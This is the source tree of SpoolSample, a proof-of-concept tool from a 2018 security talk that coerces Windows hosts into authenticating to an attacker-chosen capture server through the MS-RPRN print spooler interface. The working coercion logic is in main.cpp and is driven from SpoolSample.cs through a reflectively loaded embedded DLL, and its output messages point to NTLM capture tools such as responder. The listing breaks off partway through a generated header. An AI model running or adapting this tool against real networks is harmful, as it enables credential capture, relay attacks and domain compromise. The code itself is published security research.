├── SpoolSample
├── App.config
├── SpoolSample.csproj.user
├── SpoolSample.cs
├── Properties
│ └── AssemblyInfo.cs
├── SpoolSample.csproj
└── RDIShellcodeLoader.cs
├── MS-RPRN
├── stdafx.cpp
├── targetver.h
├── stdafx.h
├── MS-RPRN.vcxproj.user
├── MS-RPRN.vcxproj.filters
├── ms-rprn.idl
├── main.cpp
├── ms-rprn_h.h
├── MS-RPRN.vcxproj
└── ms-rprn_s.c
├── README.md
├── .gitignore
├── LICENSE
├── MS-RPRN.sln
└── Out-CSharpDataClass.ps1
/SpoolSample/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/MS-RPRN/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // MS-RPRN.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
7 | // TODO: reference any additional headers you need in STDAFX.H
8 | // and not in this file
9 |
--------------------------------------------------------------------------------
/MS-RPRN/targetver.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | // Including SDKDDKVer.h defines the highest available Windows platform.
4 |
5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
7 |
8 | #include
9 |
--------------------------------------------------------------------------------
/MS-RPRN/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 |
9 |
10 | #include "targetver.h"
11 |
12 | #include
13 | #include
14 |
15 |
16 |
17 | // TODO: reference additional headers your program requires here
18 |
--------------------------------------------------------------------------------
/SpoolSample/SpoolSample.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | Program
7 | C:\Users\lee\Documents\Visual Studio 2017\Projects\MS-RPRN-midltest\SpoolSample\bin\Release\SpoolSample_v4.0_x64.exe
8 |
9 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # SpoolSample
2 | PoC tool to coerce Windows hosts authenticate to other machines via the MS-RPRN RPC interface. This is possible via other protocols as well.
3 |
4 | This tool is released as is. Don't expect any support or extensions to it.
5 |
6 | Presentation: The Unintended Risks of Trusting Active Directory @ DerbyCon 2018
7 | - https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active-directory
8 | - @tifkin_ (Lee Christensen), @harmj0y(Will Schroeder), @enigma0x3(Matt Nelson)
9 |
10 | MS-RPRN - Print System Remote Protocol
11 | - https://msdn.microsoft.com/en-us/library/cc244528.aspx
12 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | # Prerequisites
2 | *.d
3 |
4 | # Object files
5 | *.o
6 | *.ko
7 | *.obj
8 | *.elf
9 |
10 | # Linker output
11 | *.ilk
12 | *.map
13 | *.exp
14 |
15 | # Precompiled Headers
16 | *.gch
17 | *.pch
18 |
19 | # Libraries
20 | *.lib
21 | *.a
22 | *.la
23 | *.lo
24 |
25 | # Shared objects (inc. Windows DLLs)
26 | *.dll
27 | *.so
28 | *.so.*
29 | *.dylib
30 |
31 | # Executables
32 | *.exe
33 | *.out
34 | *.app
35 | *.i*86
36 | *.x86_64
37 | *.hex
38 |
39 | # Debug files
40 | *.dSYM/
41 | *.su
42 | *.idb
43 | *.pdb
44 |
45 | # Kernel Module Compile Results
46 | *.mod*
47 | *.cmd
48 | .tmp_versions/
49 | modules.order
50 | Module.symvers
51 | Mkfile.old
52 | dkms.conf
53 |
--------------------------------------------------------------------------------
/SpoolSample/SpoolSample.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using RDI;
4 |
5 | namespace SpoolSample
6 | {
7 | class SpoolSample
8 | {
9 | // FYI, there might be reliability issues with this. The MS-RPRN project is more reliable
10 | static void Main(string[] args)
11 | {
12 | if (args.Length != 2)
13 | {
14 | Console.WriteLine("Invalid number of args. Syntax: SpoolSample.exe TARGET CAPTURESERVER");
15 | return;
16 | }
17 |
18 | byte[] commandBytes = Encoding.Unicode.GetBytes($"\\\\{args[0]} \\\\{args[1]}");
19 |
20 | RDILoader.CallExportedFunction(Data.RprnDll, "DoStuff", commandBytes);
21 | }
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/MS-RPRN/MS-RPRN.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | \\DESKTOP-8VASC5G \\192.168.230.130
5 | WindowsLocalDebugger
6 |
7 |
8 | \\DESKTOP-8VASC5G \\192.168.230.130
9 | WindowsLocalDebugger
10 |
11 |
12 | \\DESKTOP-8VASC5G \\192.168.230.130
13 | WindowsLocalDebugger
14 |
15 |
16 |
17 |
18 | WindowsLocalDebugger
19 |
20 |
--------------------------------------------------------------------------------
/SpoolSample/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("SpoolSample")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("SpoolSample")]
13 | [assembly: AssemblyCopyright("Copyright © 2018")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("640c36b4-f417-4d85-b031-83a9d23c140b")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | BSD 3-Clause License
2 |
3 | Copyright (c) 2018, Lee Christensen
4 | All rights reserved.
5 |
6 | Redistribution and use in source and binary forms, with or without
7 | modification, are permitted provided that the following conditions are met:
8 |
9 | * Redistributions of source code must retain the above copyright notice, this
10 | list of conditions and the following disclaimer.
11 |
12 | * Redistributions in binary form must reproduce the above copyright notice,
13 | this list of conditions and the following disclaimer in the documentation
14 | and/or other materials provided with the distribution.
15 |
16 | * Neither the name of the copyright holder nor the names of its
17 | contributors may be used to endorse or promote products derived from
18 | this software without specific prior written permission.
19 |
20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
30 |
--------------------------------------------------------------------------------
/MS-RPRN/MS-RPRN.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 | Header Files
29 |
30 |
31 |
32 |
33 | Source Files
34 |
35 |
36 | Source Files
37 |
38 |
39 | Source Files
40 |
41 |
42 |
43 |
44 | Source Files
45 |
46 |
47 |
--------------------------------------------------------------------------------
/MS-RPRN.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.26430.6
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "MS-RPRN", "MS-RPRN\MS-RPRN.vcxproj", "{B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SpoolSample", "SpoolSample\SpoolSample.csproj", "{640C36B4-F417-4D85-B031-83A9D23C140B}"
9 | ProjectSection(ProjectDependencies) = postProject
10 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5} = {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}
11 | EndProjectSection
12 | EndProject
13 | Global
14 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
15 | Debug|x64 = Debug|x64
16 | Debug|x86 = Debug|x86
17 | Release|x64 = Release|x64
18 | Release|x86 = Release|x86
19 | EndGlobalSection
20 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
21 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Debug|x64.ActiveCfg = Debug|x64
22 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Debug|x64.Build.0 = Debug|x64
23 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Debug|x86.ActiveCfg = Debug|Win32
24 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Debug|x86.Build.0 = Debug|Win32
25 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Release|x64.ActiveCfg = Release|x64
26 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Release|x64.Build.0 = Release|x64
27 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Release|x86.ActiveCfg = Release|Win32
28 | {B9DD24BD-2DE8-49B4-BB51-6AA473679EA5}.Release|x86.Build.0 = Release|Win32
29 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Debug|x64.ActiveCfg = Debug|x64
30 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Debug|x64.Build.0 = Debug|x64
31 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Debug|x86.ActiveCfg = Debug|x64
32 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Release|x64.ActiveCfg = Release|x64
33 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Release|x64.Build.0 = Release|x64
34 | {640C36B4-F417-4D85-B031-83A9D23C140B}.Release|x86.ActiveCfg = Release|x64
35 | EndGlobalSection
36 | GlobalSection(SolutionProperties) = preSolution
37 | HideSolutionNode = FALSE
38 | EndGlobalSection
39 | GlobalSection(ExtensibilityGlobals) = postSolution
40 | SolutionGuid = {50DACAAE-1FE6-4357-ADB2-872BD5AA3EDA}
41 | EndGlobalSection
42 | EndGlobal
43 |
--------------------------------------------------------------------------------
/Out-CSharpDataClass.ps1:
--------------------------------------------------------------------------------
1 | param(
2 | [Parameter(Position=0, Mandatory=$true)]
3 | $Target,
4 |
5 | [Parameter(Position=1, Mandatory=$true)]
6 | $SolutionDir
7 | )
8 |
9 | function Get-ContentBytesAndXor {
10 | [CmdletBinding()]
11 | Param(
12 | [Parameter(Position=0, Mandatory=$true)]
13 | [string]
14 | $Path,
15 |
16 | [Parameter(Position=1, Mandatory=$false)]
17 | [int]
18 | $XorKey = 0
19 | )
20 |
21 | Write-Verbose "XorKey: $XorKey"
22 | if(Test-Path -Path $Path -ErrorAction Stop -PathType Leaf) {
23 | $Fullname = (Get-ChildItem $Path).FullName
24 |
25 | if($XorKey -ne 0) {
26 | Write-Verbose "Using XorKey"
27 | foreach($Byte in ([System.IO.File]::ReadAllBytes($Fullname))) {
28 | $Byte -bxor $XorKey
29 | }
30 | } else {
31 | [System.IO.File]::ReadAllBytes($FullName)
32 | }
33 | }
34 | }
35 |
36 | function ConvertTo-CSharpDataClass {
37 | [CmdletBinding()]
38 | Param(
39 | [Parameter(Position=0, Mandatory=$true)]
40 | [byte[]]
41 | $ByteArray,
42 |
43 | [Parameter(Position=1, Mandatory=$false)]
44 | [int]
45 | $Columns = 20,
46 |
47 | [Parameter(Position=2, Mandatory=$false)]
48 | [string]
49 | $Namespace = 'Test',
50 |
51 | [Parameter(Position=3, Mandatory=$false)]
52 | [string]
53 | $Class = 'Data',
54 |
55 | [Parameter(Position=4, Mandatory=$false)]
56 | [string]
57 | $Variable = 'Data'
58 | )
59 |
60 |
61 | $sb = New-Object System.Text.StringBuilder
62 |
63 | $null = $sb.Append(@"
64 | namespace SpoolSample
65 | {
66 | static class Data
67 | {
68 | public static byte[] $($Variable) = new byte[] {
69 | "@)
70 |
71 | for($i = 0; $i -lt $ByteArray.Count; $i++) {
72 | if(($i % $Columns) -eq 0) {
73 | $null = $sb.Append("`n ")
74 | }
75 | $null = $sb.Append("0x{0:X2}," -f $ByteArray[$i])
76 | }
77 |
78 | $null = $sb.Remove($sb.Length-1, 1) #Remove the last comman
79 | $null = $sb.AppendLine(@"
80 | `n };
81 | }
82 | }
83 | "@)
84 |
85 | $sb.ToString()
86 | }
87 |
88 |
89 | # For whatever reason, VS keeps including a double quote in the pathst
90 | $SolutionDir = $SolutionDir.Replace('"','')
91 |
92 | $bytes = Get-ContentBytesAndXor -Path $Target
93 | ConvertTo-CSharpDataClass -Namespace 'SpoolSample' -Class 'Data' -Variable 'RprnDll' -ByteArray $bytes | Out-File -Encoding ascii -FilePath "$($SolutionDir)\SpoolSample\Data.cs"
--------------------------------------------------------------------------------
/SpoolSample/SpoolSample.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {640C36B4-F417-4D85-B031-83A9D23C140B}
8 | Exe
9 | SpoolSample
10 | SpoolSample
11 | v4.5
12 | 512
13 | true
14 | true
15 |
16 |
17 |
18 | true
19 | bin\Debug\
20 | DEBUG;TRACE
21 | full
22 | AnyCPU
23 | prompt
24 | MinimumRecommendedRules.ruleset
25 | false
26 | true
27 |
28 |
29 | bin\Release\
30 | TRACE
31 | true
32 | true
33 | 0
34 | x64
35 | prompt
36 | MinimumRecommendedRules.ruleset
37 | false
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 | cmd /c copy "$(TargetPath)" "$(TargetDir)\$(AssemblyName)_$(TargetFrameworkVersion)_$(Platform).$(TargetExt)"
59 |
60 |
--------------------------------------------------------------------------------
/MS-RPRN/ms-rprn.idl:
--------------------------------------------------------------------------------
1 | // [MS-RPRN] interface
2 | [
3 | uuid(12345678-1234-ABCD-EF00-0123456789AB),
4 | version(1.0),
5 | ms_union,
6 | endpoint("ncacn_np:[\\pipe\\spoolss]"),
7 | pointer_default(unique)
8 | ]
9 |
10 | interface winspool {
11 | //import "ms-dtyp.idl";
12 | import "oaidl.idl";
13 | //import "ocidl.idl";
14 | #if __midl < 700
15 | #define disable_consistency_check
16 | #endif
17 | // [MS-RPRN] common info container structures
18 | typedef struct _DEVMODE_CONTAINER {
19 | DWORD cbBuf;
20 | [size_is(cbBuf), unique] BYTE* pDevMode;
21 | } DEVMODE_CONTAINER;
22 |
23 | typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE {
24 | unsigned short Type;
25 | unsigned short Reserved0;
26 | DWORD Reserved1;
27 | DWORD Reserved2;
28 | DWORD Count;
29 | [size_is(Count), unique] unsigned short* pFields;
30 | } RPC_V2_NOTIFY_OPTIONS_TYPE;
31 |
32 | typedef struct _RPC_V2_NOTIFY_OPTIONS {
33 | DWORD Version;
34 | DWORD Reserved;
35 | DWORD Count;
36 | [size_is(Count), unique] RPC_V2_NOTIFY_OPTIONS_TYPE* pTypes;
37 | } RPC_V2_NOTIFY_OPTIONS;
38 |
39 | // [MS-RPRN] common data types
40 | typedef unsigned short LANGID;
41 | typedef [context_handle] void* GDI_HANDLE;
42 | typedef [context_handle] void* PRINTER_HANDLE;
43 | typedef [handle] wchar_t* STRING_HANDLE;
44 |
45 | // [MS-RPRN] methods
46 | DWORD RpcEnumPrinters();
47 | DWORD RpcOpenPrinter(
48 | [in, string, unique] STRING_HANDLE pPrinterName,
49 | [out] PRINTER_HANDLE* pHandle,
50 | [in, string, unique] wchar_t* pDatatype,
51 | [in] DEVMODE_CONTAINER* pDevModeContainer,
52 | [in] DWORD AccessRequired
53 | );
54 | DWORD RpcSetJob();
55 | DWORD RpcGetJob();
56 | DWORD RpcEnumJobs();
57 | DWORD RpcAddPrinter();
58 | DWORD RpcDeletePrinter();
59 | DWORD RpcSetPrinter();
60 | DWORD RpcGetPrinter();
61 | DWORD RpcAddPrinterDriver();
62 | DWORD RpcEnumPrinterDrivers();
63 | DWORD RpcGetPrinterDriver();
64 | DWORD RpcGetPrinterDriverDirectory();
65 | DWORD RpcDeletePrinterDriver();
66 | DWORD RpcAddPrintProcessor();
67 | DWORD RpcEnumPrintProcessors();
68 | DWORD RpcGetPrintProcessorDirectory();
69 | DWORD RpcStartDocPrinter();
70 | DWORD RpcStartPagePrinter();
71 | DWORD RpcWritePrinter();
72 | DWORD RpcEndPagePrinter();
73 | DWORD RpcAbortPrinter();
74 | DWORD RpcReadPrinter();
75 | DWORD RpcEndDocPrinter();
76 | DWORD RpcAddJob();
77 | DWORD RpcScheduleJob();
78 | DWORD RpcGetPrinterData();
79 | DWORD RpcSetPrinterData();
80 | DWORD RpcWaitForPrinterChange();
81 | DWORD RpcClosePrinter(
82 | [in, out] PRINTER_HANDLE*phPrinter
83 | );
84 | DWORD RpcAddForm();
85 | DWORD RpcDeleteForm();
86 | DWORD RpcGetForm();
87 | DWORD RpcSetForm();
88 | DWORD RpcEnumForms();
89 | DWORD RpcEnumPorts();
90 | DWORD RpcEnumMonitors();
91 | void Opnum37NotUsedOnWire();
92 | void Opnum38NotUsedOnWire();
93 | DWORD RpcDeletePort();
94 | DWORD RpcCreatePrinterIC();
95 | DWORD RpcPlayGdiScriptOnPrinterIC();
96 | DWORD RpcDeletePrinterIC();
97 | void Opnum43NotUsedOnWire();
98 | void Opnum44NotUsedOnWire();
99 | void Opnum45NotUsedOnWire();
100 | DWORD RpcAddMonitor();
101 | DWORD RpcDeleteMonitor();
102 | DWORD RpcDeletePrintProcessor();
103 | void Opnum49NotUsedOnWire();
104 | void Opnum50NotUsedOnWire();
105 | DWORD RpcEnumPrintProcessorDatatypes();
106 | DWORD RpcResetPrinter();
107 | DWORD RpcGetPrinterDriver2();
108 | void Opnum54NotUsedOnWire();
109 | void Opnum55NotUsedOnWire();
110 | DWORD RpcFindClosePrinterChangeNotification();
111 | void Opnum57NotUsedOnWire();
112 | DWORD RpcReplyOpenPrinter();
113 | DWORD RpcRouterReplyPrinter();
114 | DWORD RpcReplyClosePrinter();
115 | DWORD RpcAddPortEx();
116 | DWORD RpcRemoteFindFirstPrinterChangeNotification();
117 | void Opnum63NotUsedOnWire();
118 | void Opnum64NotUsedOnWire();
119 | DWORD RpcRemoteFindFirstPrinterChangeNotificationEx(
120 | [in] PRINTER_HANDLE hPrinter,
121 | [in] DWORD fdwFlags,
122 | [in] DWORD fdwOptions,
123 | [in, string, unique] wchar_t* pszLocalMachine,
124 | [in] DWORD dwPrinterLocal,
125 | [in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions
126 | );
127 |
128 | }
--------------------------------------------------------------------------------
/MS-RPRN/main.cpp:
--------------------------------------------------------------------------------
1 | // MS-RPRN.cpp : Defines the entry point for the console application.
2 | //
3 | // Compiled interface definition(.idl file) with "midl.exe /target NT60 ms-rprn.idl"
4 | #include "stdafx.h"
5 | #include "ms-rprn_h.h"
6 |
7 | #include
8 |
9 | #define DLLEXPORT extern "C" __declspec(dllexport)
10 |
11 | const RPC_WSTR MS_RPRN_UUID = (RPC_WSTR)L"12345678-1234-ABCD-EF00-0123456789AB";
12 | const RPC_WSTR InterfaceAddress = (RPC_WSTR)L"\\pipe\\spoolss";
13 |
14 | //Returns the last Win32 error, in string format. Returns an empty string if there is no error.
15 | void PrintWin32Error(DWORD dwError)
16 | {
17 | LPWSTR messageBuffer = nullptr;
18 | size_t size = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
19 | NULL, dwError, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPWSTR)&messageBuffer, 0, NULL);
20 |
21 | wprintf(L"Error Code %d - %s\n", dwError, messageBuffer);
22 | //Free the buffer.
23 | LocalFree(messageBuffer);
24 | }
25 |
26 | void __RPC_FAR * __RPC_USER midl_user_allocate(size_t cBytes)
27 | {
28 | return((void __RPC_FAR *) malloc(cBytes));
29 | }
30 |
31 | void __RPC_USER midl_user_free(void __RPC_FAR * p)
32 | {
33 | free(p);
34 | }
35 |
36 | // Taken from https://github.com/Paolo-Maffei/OpenNT/blob/master/printscan/print/spooler/spoolss/win32/bind.c#L65
37 | handle_t __RPC_USER STRING_HANDLE_bind(STRING_HANDLE lpStr)
38 | {
39 | RPC_STATUS RpcStatus;
40 | RPC_WSTR StringBinding;
41 | handle_t BindingHandle;
42 | WCHAR ServerName[MAX_PATH + 1];
43 | DWORD i;
44 |
45 | if (lpStr && lpStr[0] == L'\\' && lpStr[1] == L'\\') {
46 | // We have a servername
47 | ServerName[0] = ServerName[1] = '\\';
48 |
49 | i = 2;
50 | while (lpStr[i] && lpStr[i] != L'\\' && i < sizeof(ServerName)) {
51 | ServerName[i] = lpStr[i];
52 | i++;
53 | }
54 |
55 | ServerName[i] = 0;
56 | }
57 | else {
58 | return FALSE;
59 | }
60 |
61 | RpcStatus = RpcStringBindingComposeW(
62 | MS_RPRN_UUID,
63 | (RPC_WSTR)L"ncacn_np",
64 | (RPC_WSTR)ServerName,
65 | InterfaceAddress,
66 | NULL,
67 | &StringBinding);
68 |
69 | if (RpcStatus != RPC_S_OK) {
70 | return(0);
71 | }
72 |
73 | RpcStatus = RpcBindingFromStringBindingW(StringBinding, &BindingHandle);
74 |
75 | RpcStringFreeW(&StringBinding);
76 |
77 | if (RpcStatus != RPC_S_OK) {
78 | return(0);
79 | }
80 |
81 | return(BindingHandle);
82 | }
83 |
84 | void __RPC_USER STRING_HANDLE_unbind(STRING_HANDLE lpStr, handle_t BindingHandle)
85 | {
86 | RPC_STATUS RpcStatus;
87 |
88 | RpcStatus = RpcBindingFree(&BindingHandle);
89 | assert(RpcStatus != RPC_S_INVALID_BINDING);
90 |
91 | return;
92 | }
93 |
94 |
95 | HRESULT Send(wchar_t* targetServer, wchar_t* captureServer)
96 | {
97 | PRINTER_HANDLE hPrinter = NULL;
98 | HRESULT hr = NULL;
99 | DEVMODE_CONTAINER devmodeContainer;
100 | SecureZeroMemory((char *)&(devmodeContainer), sizeof(DEVMODE_CONTAINER));
101 |
102 | RpcTryExcept
103 | {
104 | hr = RpcOpenPrinter(targetServer, &hPrinter, NULL, &devmodeContainer, 0);
105 |
106 | if (hr == ERROR_SUCCESS) {
107 | hr = RpcRemoteFindFirstPrinterChangeNotificationEx(
108 | hPrinter,
109 | 0x00000100 /* PRINTER_CHANGE_ADD_JOB */,
110 | 0,
111 | captureServer,
112 | 0,
113 | NULL);
114 |
115 | if (hr != ERROR_SUCCESS) {
116 | if (hr == ERROR_ACCESS_DENIED) {
117 | wprintf(L"Target server attempted authentication and got an access denied. If coercing authentication to an NTLM challenge-response capture tool(e.g. responder/inveigh/MSF SMB capture), this is expected and indicates the coerced authentication worked.\n");
118 | }
119 | else if (hr == ERROR_INVALID_HANDLE) {
120 | wprintf(L"Attempted printer notification and received an invalid handle. The coerced authentication probably worked!\n");
121 | }
122 | else {
123 | wprintf(L"RpcRemoteFindFirstPrinterChangeNotificationEx failed.");
124 | PrintWin32Error(hr);
125 | }
126 | }
127 |
128 | RpcClosePrinter(&hPrinter);
129 | }
130 | else
131 | {
132 | wprintf(L"RpcOpenPrinter failed %d\n", hr);
133 | }
134 | }
135 | RpcExcept(EXCEPTION_EXECUTE_HANDLER);
136 | {
137 | hr = RpcExceptionCode();
138 | wprintf(L"RPC Exception %d. ", hr);
139 | PrintWin32Error(hr);
140 | }
141 | RpcEndExcept;
142 |
143 | return hr;
144 | }
145 |
146 | int wmain(int argc, wchar_t **argv)
147 | {
148 | if (argc != 3)
149 | {
150 | wprintf(L"Usage: ms-rprn.exe \\\\targetserver \\\\CaptureServer\n");
151 | return 0;
152 | }
153 |
154 | Send(argv[1], argv[2]);
155 |
156 | return 0;
157 | }
158 |
159 | BOOL APIENTRY DllMain(HMODULE hModule,
160 | DWORD ul_reason_for_call,
161 | LPVOID lpReserved
162 | )
163 | {
164 | switch (ul_reason_for_call)
165 | {
166 | case DLL_PROCESS_ATTACH:
167 | case DLL_THREAD_ATTACH:
168 | case DLL_THREAD_DETACH:
169 | case DLL_PROCESS_DETACH:
170 | break;
171 | }
172 | return TRUE;
173 | }
174 |
175 | DLLEXPORT HRESULT DoStuff(LPVOID lpUserdata, DWORD nUserdataLen)
176 | {
177 | if (nUserdataLen) {
178 | int numArgs = 0;
179 | LPWSTR* args = NULL;
180 |
181 | args = CommandLineToArgvW((LPCWSTR)lpUserdata, &numArgs);
182 | if (numArgs == 2) {
183 | wprintf(L"TargetServer: %s, CaptureServer: %s\n", args[0], args[1]);
184 | Send(args[0], args[1]);
185 | }
186 | else {
187 | wprintf(L"Invalid number of args\n");
188 | }
189 | }
190 |
191 | return 0;
192 | }
193 |
--------------------------------------------------------------------------------
/MS-RPRN/ms-rprn_h.h:
--------------------------------------------------------------------------------
1 |
2 |
3 | /* this ALWAYS GENERATED file contains the definitions for the interfaces */
4 |
5 |
6 | /* File created by MIDL compiler version 8.01.0622 */
7 | /* at Mon Jan 18 22:14:07 2038
8 | */
9 | /* Compiler settings for ms-rprn.idl:
10 | Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622
11 | protocol : all , ms_ext, c_ext, robust
12 | error checks: allocation ref bounds_check enum stub_data
13 | VC __declspec() decoration level:
14 | __declspec(uuid()), __declspec(selectany), __declspec(novtable)
15 | DECLSPEC_UUID(), MIDL_INTERFACE()
16 | */
17 | /* @@MIDL_FILE_HEADING( ) */
18 |
19 |
20 |
21 | /* verify that the version is high enough to compile this file*/
22 | #ifndef __REQUIRED_RPCNDR_H_VERSION__
23 | #define __REQUIRED_RPCNDR_H_VERSION__ 500
24 | #endif
25 |
26 | #include "rpc.h"
27 | #include "rpcndr.h"
28 |
29 | #ifndef __RPCNDR_H_VERSION__
30 | #error this stub requires an updated version of
31 | #endif /* __RPCNDR_H_VERSION__ */
32 |
33 |
34 | #ifndef __ms2Drprn_h_h__
35 | #define __ms2Drprn_h_h__
36 |
37 | #if defined(_MSC_VER) && (_MSC_VER >= 1020)
38 | #pragma once
39 | #endif
40 |
41 | /* Forward Declarations */
42 |
43 | /* header files for imported files */
44 | #include "oaidl.h"
45 |
46 | #ifdef __cplusplus
47 | extern "C"{
48 | #endif
49 |
50 |
51 | #ifndef __winspool_INTERFACE_DEFINED__
52 | #define __winspool_INTERFACE_DEFINED__
53 |
54 | /* interface winspool */
55 | /* [unique][endpoint][ms_union][version][uuid] */
56 |
57 | typedef struct _DEVMODE_CONTAINER
58 | {
59 | DWORD cbBuf;
60 | /* [unique][size_is] */ BYTE *pDevMode;
61 | } DEVMODE_CONTAINER;
62 |
63 | typedef struct _RPC_V2_NOTIFY_OPTIONS_TYPE
64 | {
65 | unsigned short Type;
66 | unsigned short Reserved0;
67 | DWORD Reserved1;
68 | DWORD Reserved2;
69 | DWORD Count;
70 | /* [unique][size_is] */ unsigned short *pFields;
71 | } RPC_V2_NOTIFY_OPTIONS_TYPE;
72 |
73 | typedef struct _RPC_V2_NOTIFY_OPTIONS
74 | {
75 | DWORD Version;
76 | DWORD Reserved;
77 | DWORD Count;
78 | /* [unique][size_is] */ RPC_V2_NOTIFY_OPTIONS_TYPE *pTypes;
79 | } RPC_V2_NOTIFY_OPTIONS;
80 |
81 | typedef unsigned short LANGID;
82 |
83 | typedef /* [context_handle] */ void *GDI_HANDLE;
84 |
85 | typedef /* [context_handle] */ void *PRINTER_HANDLE;
86 |
87 | typedef /* [handle] */ wchar_t *STRING_HANDLE;
88 |
89 | DWORD RpcEnumPrinters(
90 | /* [in] */ handle_t IDL_handle);
91 |
92 | DWORD RpcOpenPrinter(
93 | /* [unique][string][in] */ STRING_HANDLE pPrinterName,
